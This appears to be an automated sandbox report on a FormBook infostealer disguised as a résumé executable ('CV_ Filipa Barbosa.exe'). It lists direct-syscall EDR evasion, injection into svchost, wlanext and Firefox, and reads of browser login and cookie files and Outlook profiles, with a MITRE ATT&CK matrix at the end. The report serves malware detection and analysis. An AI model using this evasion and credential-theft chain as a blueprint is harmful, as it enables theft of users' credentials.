                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D309AD mov eax, dword ptr fs:[00000030h]2_2_03D309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D309AD mov eax, dword ptr fs:[00000030h]2_2_03D309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB0946 mov eax, dword ptr fs:[00000030h]2_2_03DB0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04940 mov eax, dword ptr fs:[00000030h]2_2_03E04940
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DD4978 mov eax, dword ptr fs:[00000030h]2_2_03DD4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DD4978 mov eax, dword ptr fs:[00000030h]2_2_03DD4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBC97C mov eax, dword ptr fs:[00000030h]2_2_03DBC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D56962 mov eax, dword ptr fs:[00000030h]2_2_03D56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D56962 mov eax, dword ptr fs:[00000030h]2_2_03D56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D56962 mov eax, dword ptr fs:[00000030h]2_2_03D56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D7096E mov eax, dword ptr fs:[00000030h]2_2_03D7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D7096E mov edx, dword ptr fs:[00000030h]2_2_03D7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D7096E mov eax, dword ptr fs:[00000030h]2_2_03D7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBC912 mov eax, dword ptr fs:[00000030h]2_2_03DBC912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D28918 mov eax, dword ptr fs:[00000030h]2_2_03D28918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D28918 mov eax, dword ptr fs:[00000030h]2_2_03D28918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAE908 mov eax, dword ptr fs:[00000030h]2_2_03DAE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAE908 mov eax, dword ptr fs:[00000030h]2_2_03DAE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB892A mov eax, dword ptr fs:[00000030h]2_2_03DB892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DC892B mov eax, dword ptr fs:[00000030h]2_2_03DC892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E8C0 mov eax, dword ptr fs:[00000030h]2_2_03D5E8C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E008C0 mov eax, dword ptr fs:[00000030h]2_2_03E008C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6C8F9 mov eax, dword ptr fs:[00000030h]2_2_03D6C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6C8F9 mov eax, dword ptr fs:[00000030h]2_2_03D6C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFA8E4 mov eax, dword ptr fs:[00000030h]2_2_03DFA8E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBC89D mov eax, dword ptr fs:[00000030h]2_2_03DBC89D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D30887 mov eax, dword ptr fs:[00000030h]2_2_03D30887
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D60854 mov eax, dword ptr fs:[00000030h]2_2_03D60854
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D34859 mov eax, dword ptr fs:[00000030h]2_2_03D34859
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D34859 mov eax, dword ptr fs:[00000030h]2_2_03D34859
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D42840 mov ecx, dword ptr fs:[00000030h]2_2_03D42840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBE872 mov eax, dword ptr fs:[00000030h]2_2_03DBE872
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBE872 mov eax, dword ptr fs:[00000030h]2_2_03DBE872
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DC6870 mov eax, dword ptr fs:[00000030h]2_2_03DC6870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DC6870 mov eax, dword ptr fs:[00000030h]2_2_03DC6870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBC810 mov eax, dword ptr fs:[00000030h]2_2_03DBC810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D52835 mov eax, dword ptr fs:[00000030h]2_2_03D52835
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005CA66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_005CA66C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005B8189 SetUnhandledExceptionFilter,0_2_005B8189
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005B81AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_005B81AC

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtCreateMutant: Direct from: 0x774635CCJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtWriteVirtualMemory: Direct from: 0x77462E3CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtMapViewOfSection: Direct from: 0x77462D1CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtResumeThread: Direct from: 0x774636ACJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtProtectVirtualMemory: Direct from: 0x77462F9CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtSetInformationProcess: Direct from: 0x77462C5CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtSetInformationThread: Direct from: 0x774563F9Jump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtProtectVirtualMemory: Direct from: 0x77457B2EJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtNotifyChangeKey: Direct from: 0x77463C2CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtAllocateVirtualMemory: Direct from: 0x77462BFCJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtQueryInformationProcess: Direct from: 0x77462C26Jump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtResumeThread: Direct from: 0x77462FBCJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtReadFile: Direct from: 0x77462ADCJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtQuerySystemInformation: Direct from: 0x77462DFCJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtDelayExecution: Direct from: 0x77462DDCJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtAllocateVirtualMemory: Direct from: 0x77463C9CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtClose: Direct from: 0x77462B6C
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtCreateUserProcess: Direct from: 0x7746371CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtWriteVirtualMemory: Direct from: 0x7746490CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtAllocateVirtualMemory: Direct from: 0x774648ECJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtQuerySystemInformation: Direct from: 0x774648CCJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtQueryVolumeInformationFile: Direct from: 0x77462F2CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtReadVirtualMemory: Direct from: 0x77462E8CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtCreateKey: Direct from: 0x77462C6CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtSetInformationThread: Direct from: 0x77462B4CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtQueryAttributesFile: Direct from: 0x77462E6CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtDeviceIoControlFile: Direct from: 0x77462AECJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtOpenSection: Direct from: 0x77462E0CJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtCreateFile: Direct from: 0x77462FECJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtOpenFile: Direct from: 0x77462DCCJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtQueryInformationToken: Direct from: 0x77462CACJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtTerminateThread: Direct from: 0x77462FCCJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtAllocateVirtualMemory: Direct from: 0x77462BECJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeNtOpenKeyEx: Direct from: 0x77462B9CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: NULL target: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: NULL target: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\wlanext.exeThread register set: target process: 5540Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\wlanext.exeThread APC queued: target process: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 3129008Jump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005CB106 LogonUserW,0_2_005CB106
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00593D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00593D19
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D411C SendInput,keybd_event,0_2_005D411C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D74E7 mouse_event,0_2_005D74E7
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"Jump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeProcess created: C:\Windows\SysWOW64\wlanext.exe "C:\Windows\SysWOW64\wlanext.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005CA66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_005CA66C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D71FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_005D71FA
                Source: CV_ Filipa Barbosa.exe, HgsHJMSZolWa.exe, 00000004.00000000.1798105773.00000000014B0000.00000002.00000001.00040000.00000000.sdmp, HgsHJMSZolWa.exe, 00000004.00000002.3964647895.00000000014B1000.00000002.00000001.00040000.00000000.sdmp, HgsHJMSZolWa.exe, 00000008.00000002.3965075590.00000000010A1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: HgsHJMSZolWa.exe, 00000004.00000000.1798105773.00000000014B0000.00000002.00000001.00040000.00000000.sdmp, HgsHJMSZolWa.exe, 00000004.00000002.3964647895.00000000014B1000.00000002.00000001.00040000.00000000.sdmp, HgsHJMSZolWa.exe, 00000008.00000002.3965075590.00000000010A1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: HgsHJMSZolWa.exe, 00000004.00000000.1798105773.00000000014B0000.00000002.00000001.00040000.00000000.sdmp, HgsHJMSZolWa.exe, 00000004.00000002.3964647895.00000000014B1000.00000002.00000001.00040000.00000000.sdmp, HgsHJMSZolWa.exe, 00000008.00000002.3965075590.00000000010A1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: 0Program Manager
                Source: CV_ Filipa Barbosa.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
                Source: HgsHJMSZolWa.exe, 00000004.00000000.1798105773.00000000014B0000.00000002.00000001.00040000.00000000.sdmp, HgsHJMSZolWa.exe, 00000004.00000002.3964647895.00000000014B1000.00000002.00000001.00040000.00000000.sdmp, HgsHJMSZolWa.exe, 00000008.00000002.3965075590.00000000010A1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005B65C4 cpuid 0_2_005B65C4
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,0_2_005E091D
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_0060B340 GetUserNameW,0_2_0060B340
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005C1E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_005C1E8E
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005ADDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_005ADDC0

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.1876015655.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1876296876.0000000003C40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3957471202.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3963754967.0000000000C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3964923371.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3964989760.0000000002AB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3964994926.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1876664813.0000000004150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\wlanext.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_81
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_XP
                Source: CV_ Filipa Barbosa.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_XPe
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_VISTA
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_7
                Source: CV_ Filipa Barbosa.exeBinary or memory string: WIN_8

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.1876015655.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1876296876.0000000003C40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3957471202.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3963754967.0000000000C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3964923371.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3964989760.0000000002AB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3964994926.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1876664813.0000000004150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E8C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_005E8C4F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_005E923B

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		3
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault AccountsScheduled Task/Job2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets151
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
                Process Injection                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem11
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
